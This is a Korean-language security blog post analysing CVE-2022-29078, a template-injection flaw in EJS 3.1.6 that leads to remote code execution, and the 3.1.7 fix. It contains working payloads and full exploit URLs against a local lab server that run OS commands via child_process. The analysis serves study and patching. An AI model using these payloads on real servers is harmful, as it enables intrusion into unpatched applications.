G2H

보안 리서치 · 레드팀/블루팀 · DFIR · Cloud · Tooling

최신 글 보기

최근에 작성된 글들을 확인해보세요.

CVE-2022-29078 ejs(3.1.6) - outputFunctionName Injection Vulnerability

1-Day-Analysis

Node.js의 EJS 템플릿 버전 3.1.6 에서 발생한 취약점으로, 해당 취약점은 SSTI -> RCE로 이어질 수 있는 고 위험군 취약점이다.

사용자의 입력값이 data로 넘어 갈 때 settings['view options'][outputFunctionName]를 주입하면, 그 값이 그대로 컴파일 단계의 JS 소스에 삽입되어 임의 코드가 실행된다는 점을 악용한다.


ejs.js 코드발췌

viewOpts = data.settings['view options'];
        if (viewOpts) {
          utils.shallowCopy(opts, viewOpts);
        }
      }

위 코드를 보게되면, data 갞체 내부에 settings['view options']가 있으면, 이를 옵션 opts로 복사하도록 정의되어 있다.

즉, 사용자 입력이 옵션으로 승격되게 된다. 

이 부분에서 공격자는 outputFinctionName을 심을 수 있게 된다.

( 공격자가 쿼리에 정확히 settings[view options][outputFunctionName]를 찍어야 옵션으로 들어간다.)

data는 종종 res.render(view, req.query) 같은 안티패턴으로 채워진다(쿼리스트링/바디가 들어옴). Express의 파서가 브래킷 표기(settings[view options][outputFunctionName])를 중첩 객체로 파싱하면, 이 값이 곧장 옵션으로 승격된다.

function Template(text, opts) {
```
  options.outputFunctionName = opts.outputFunctionName;
 ```
  this.opts = options;
     }

이후 Templete 함수 일부를 보게되면, 위에서 복사한 값이 Options.outputFunctionName가 된다.

prepended +=
        '  var __output = "";\n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }

그리고 나서, 사용자의 입력값인 opts.outputFunctionNmae을 별도의 화이트리스트 와같은 식별자 검증 없이 

prepended에 정의된 JS 코드에 삽입되게 된다. 

이로인해 공격자가 x;process.mainModule.require('child_process').execSync('id');/* 같은 값을 주면,

결과는 대략 var x;process...execSync('id');/* = __append; 형태가 되어 컴파일 시점에 OS 명령이 실행 된다.

Express/qs가 a[b][c]=v → {a:{b:{c:'v'}}}로 파싱하기 때문.
EJS 특례 병합은 정확히 data.settings['view options']만 옵션으로 승격한다.
그래서 /?settings[view options][outputFunctionName]=...처럼 경로를 찍어줘야 opts.outputFunctionName까지 도달.

진단 실습

위 사진을 보게되면, GET 형식으로 데이터를 URL 로 전달하고 있다.

이 떄 id 파라미터로 전달된 값을 페이지상에 렌더링 하고 있으며, 현재 테플릿은 EJS 3.1.6버전을 사용하고 있다.

http://127.0.0.1:3000/vuln/page?id=2&settings[view%20options][outputFunctionName]=x%3B__append(%27%3Cpre%3E%27%2Bglobal.process.mainModule.constructor._load(%27child_process%27).execSync(%27ls%20-al%20/app%27).toString()%2B%27%3C/pre%3E%27)%3Bvar%20y
http://127.0.0.1:3000/vuln/page?id=2&settings[view options][outputFunctionName]=x;__append('<pre>'+global.process.mainModule.constructor._load('child_process').execSync('ls -al /app').toString()+'</pre>');var y

위 URL 와 같은 형식으로 취약점을 악용하여 요청을 보낼 경우, 화면에서 보이듯, SSTI가 성공적으로 먹혔으며,

RCE까지 가능하다는 것을 보여주고 있다.

취약점 패치(3.1.7)

 

  • 식별자 정규식 추가
    • var _JS_IDENTIFIER = /^[a-zA-Z_$][0-9a-zA-Z_$]*$/;
    • 목적: 옵션으로 전달되는 이름이 정상적인 JS 식별자인지 검증할 기준을 만든다.
  • outputFunctionName 검증 → 실패 시 즉시 예외
    • if (opts.outputFunctionName) {
          if (!_JS_IDENTIFIER.test(opts.outputFunctionName)) {
              throw new Error('outputFunctionName is not a valid JS identifier.');
          }
      prepended += ' var ' + opts.outputFunctionName + ' = __append;\n'; }
       
    • 효과: 3.1.6에서 문제였던 식별자 자리에 원시 문자열 삽입(세미콜론 등으로 문맥 탈출) 경로를 차단.
      → settings[view options][outputFunctionName]로 들어오던 SSTI/RCE 벡터가 여기서 막힘. 
  • localsName, destructuredLocals[*]도 동일 검증
    • if (opts.localsName && !_JS_IDENTIFIER.test(opts.localsName)) throw new Error(...);
          for (...) {
              var name = opts.destructuredLocals[i];
              if (!_JS_IDENTIFIER.test(name)) throw new Error(...);
      }
       
    • 효과: 다른 “이름성 옵션”을 통한 동일 유형의 코드 인젝션 표면도 함께 제거.

참고자료

https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf 
https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js

 

'1-Day-Analysis' 카테고리의 다른 글

1-Day Analysis [CVE-2024-4577]  (0) 2025.04.29